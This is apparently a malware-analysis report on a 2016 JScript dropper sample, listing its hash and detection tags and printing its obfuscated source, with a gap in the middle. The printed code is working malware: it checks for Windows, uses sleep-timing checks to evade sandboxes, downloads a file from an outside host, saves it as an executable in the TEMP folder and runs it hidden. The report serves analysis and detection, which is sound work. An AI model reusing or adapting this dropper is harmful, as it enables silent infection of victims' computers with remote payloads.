20160328_0db5e033c8f60c55a76b4562cafe72bc.js
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256b0e45adebaf28fabbaf228ef51d728b3b20edb5d8365431f534c85ef536f79be
Evidence
1var Cojppfpv = false;
2var Thcov = "CreateObject";
3var Kjjup = function Ccfhzqgxvt() {return WScript[Thcov]("WScript.Shell");}();
4var Ebjjydwlv = 123213;
5var Mqwpzzy = "MSXML2.XMLHTTP";
6var Jvrhj = 2123213;
7var Dtync = 0;
8function Ggwkronl(Ecjzcpwy){Kjjup["Run"](Ecjzcpwy, Dtync, Dtync);};
9function Mvuegx(){return Mqwpzzy;};
10function Pbuqzatx(Uexqfkxejd, Uqokxxptv){return Uexqfkxejd - Uqokxxptv;};
11function Hqthwgveo(){return Thcov;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Cojppfpv = true;
15 @end
16@*/
17var Rrmzamikf = "";
18if (Cojppfpv)
19{
20function Xksjaogf(){return 22;};
21var Gyyvnp = 0; var Kjfmk = 0;
22function Ockzjgl()
23{
24var Ggyuzfwwgp = new this["Date"]();
25var Lniqntbt = Ggyuzfwwgp["getUTCMilliseconds"]();
26WScript["Sleep"](Xksjaogf());
27var Ggyuzfwwgp = new this["Date"]();
28var Bbmejkl = Ggyuzfwwgp["getUTCMilliseconds"]();
29WScript["Sleep"](Xksjaogf());
30var Ggyuzfwwgp = new this["Date"]();
31var Hrktkyftck = Ggyuzfwwgp["getUTCMilliseconds"]();
32var Gyyvnp = "Melegqmzp";
33Gyyvnp = Pbuqzatx(Bbmejkl, Lniqntbt);
34var Kjfmk = "Rpagxkjtu";
35Kjfmk = Pbuqzatx(Hrktkyftck, Bbmejkl);
36Rrmzamikf = "open";
37return Pbuqzatx(Gyyvnp, Kjfmk);
38}
39var Qgjfe = false;
40var Jtjotdvmry = false;
41for (var Acpehynhe = Dtync; Acpehynhe < Xksjaogf() * 1; Acpehynhe++){if (Ockzjgl() != Dtync){
42Qgjfe …
49:6… gjfe && Kmcxhac() && Jtjotdvmry){
50function Wwlqrlivc() {return Kjjup["ExpandEnvironmentStrings"]("%TEMP%/") + "Em7LMsft1F.exe";};
51 Cdjsser = Mvuegx();
52 Wiyatsyl = WScript[Thcov](Cdjsser);
53 var Pctol = 1;
54 while (Pctol){
55try {
56Wiyatsyl[Rrmzamikf]("GET", "http://2biking.com/k4isfa", false);
57Wiyatsyl["send"]();
58Bowvbyis = "Sleep";
59do {WScript[Bowvbyis](Xksjaogf() * 11)} while (Wiyatsyl["readystate"] < 4 );
60Pctol = Dtync;
61} catch(Oebhhgwtgl){Pctol = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ieqhj(Bvvxthoxec) {var Glmxnrv = (1, 2, 3, 4, 5, Bvvxthoxec); return Glmxnrv;};
64Jedtgi = WScript[Hqthwgveo()]("ADODB.Stream");
65Cdjsser = Jedtgi;
66Cdjsser[Rrmzamikf]();
67Cdjsser["type"] = Ieqhj(1);
68Cdjsser["write"](Wiyatsyl["ResponseBody"]);
69Jedtgi["position"] = Ieqhj(Dtync);
70Cdjsser["SaveToFile"](Wwlqrlivc(), Ieqhj(2) );
71Jedtgi["close"]();
72Ggwkronl(Wwlqrlivc());
73}
74}
75